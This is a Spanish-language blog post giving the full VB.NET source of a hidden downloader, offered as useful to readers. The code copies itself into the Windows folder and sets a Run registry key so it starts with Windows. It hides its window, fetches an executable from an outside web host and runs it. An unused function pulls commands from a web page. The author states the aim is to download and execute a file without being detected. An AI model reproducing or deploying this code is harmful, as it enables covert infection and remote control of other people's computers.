Downloader en vb.net

Aqui os dejo el codigo fuente de un dowloader que deje aparcado hace mucho tiempo y que hoy encontre en mi pincho.

Tiene incluso un sistema que saca las ordenes (el archivo que debe descargar y ejecutar sin ser detectado) desde un codigo fuente de una web cualquiera.

[codesyntax lang=”vbnet” lines=”normal” lines_start=”0″ container=”pre_table” blockstate=”expanded”]
Imports System
Imports system.Text
Imports System.Net
Imports System.IO
Imports Microsoft.Win32
Public Class DwnFUD
    Private Sub DwnFUD_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Hacemos siempre
        Dim DondeStoy As String
        DondeStoy = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly.Location()) & "\" & System.IO.Path.GetFileName(Application.ExecutablePath)
        If DondeStoy = "C:\WINDOWS\MenSys.exe" Then
            'Leemos órdenes
            'EncontrarOrden()
            'If InStr(1, TextBox2.Text, "OK", vbTextCompare) <> 0 Then
            Try

                Dim theResponse As HttpWebResponse
                Dim theRequest As HttpWebRequest

                Try

                    theRequest = WebRequest.Create("http://driversycomplementos.fileave.com/ftyvdo54.exe")
                    theResponse = theRequest.GetResponse

                Catch ex As Exception
                End Try

                Dim length As Long = theResponse.ContentLength
                Dim writeStream As New IO.FileStream("C:\WINDOWS\dwnld.exe", IO.FileMode.Create)
                Dim nRead As Integer
                Dim speedtimer As New Stopwatch
                Dim currentspeed As Double = -1
                Dim readings As Integer = 0

                Do

                    speedtimer.Start()

                    Dim readBytes(4095) As Byte
                    Dim bytesread As Integer = theResponse.GetResponseStream.Read(readBytes, 0, 4096)

                    nRead += bytesread
                    Dim percent As Short = (nRead * 100) / length

                    If bytesread = 0 Then Exit Do

                    writeStream.Write(readBytes, 0, bytesread)

                    speedtimer.Stop()
                Loop

                theResponse.GetResponseStream.Close()
                writeStream.Close()

                Process.Start("C:\WINDOWS\dwnld.exe")
                Me.Visible = False
                Me.ShowInTaskbar = False
                Me.Close()
            Catch
                'Ignoro error
            End Try
            'ElseIf InStr(1, TextBox2.Text, "NO", vbTextCompare) <> 0 Then
            'Si no hay ordenes me cierro y espero a otro inicio de windows
            'Me.Close()
            'End If
        Else

        System.IO.File.Copy(DondeStoy, "C:\WINDOWS\MenSys.exe", True)
        'Registro
        ponerEnInicio("durkhere", "C:\WINDOWS\MenSys.exe")
        Process.Start("C:\WINDOWS\MenSys.exe")
        Me.Visible = False
        Me.ShowInTaskbar = False
        Me.Close()
        End If
    End Sub
    Private Function ponerEnInicio(ByVal nombreClave As String, ByVal nombreApp As String) As Boolean
        Dim InicioWin As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

        If nombreApp.StartsWith(ChrW(34)) = False AndAlso nombreApp.IndexOf(" ") > -1 Then
            nombreApp = ChrW(34) & nombreApp & ChrW(34)
        End If
        InicioWin.SetValue(nombreClave, nombreApp)
        Return True
    End Function
    Public Function EncontrarOrden() As Boolean
        Dim WCliente As WebClient = New WebClient()
        Dim Bytes() As Byte
        Bytes = WCliente.DownloadData("http://durkh3im.webcindario.com/boton.html")
        Dim oUTF8 As UTF8Encoding = New UTF8Encoding()
        TextBox2.Text = oUTF8.GetString(Bytes)
    End Function
End Class
[/codesyntax]

 

Espero que os sea de ayuda! Un saludo

Matías Moreno Cárdenas

Publicado por: Matías Moreno Cárdenas

Analista de Seguridad IT y hacking ético / Desarrollador de Software Multiplataforma. Actualmente analista de seguridad informática y hacking ético en Grupo SIA

Deja un comentario